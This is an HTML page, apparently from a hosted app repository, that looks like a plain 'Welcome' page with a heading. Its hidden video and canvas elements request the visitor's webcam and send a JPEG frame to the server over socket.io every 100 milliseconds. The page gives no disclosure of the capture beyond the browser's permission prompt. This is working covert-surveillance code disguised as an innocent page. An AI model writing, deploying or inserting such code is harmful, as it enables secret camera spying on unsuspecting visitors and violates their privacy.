Spaces:
Sleeping
Sleeping
File size: 1,044 Bytes
84e51d7 792e7de 84e51d7 792e7de 84e51d7 ce14d19 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | <!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Welcome</h1>
<video id="video" width="640" height="480" autoplay style="display:none;"></video>
<canvas id="canvas" width="640" height="480" style="display:none;"></canvas>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.0.1/socket.io.js"></script>
<script>
const socket = io();
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const context = canvas.getContext('2d');
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
video.srcObject = stream;
setInterval(() => {
context.drawImage(video, 0, 0, 640, 480);
canvas.toBlob(blob => {
socket.emit('frame', blob);
}, 'image/jpeg');
}, 100);
})
.catch(err => console.error(err));
</script>
</body>
</html> |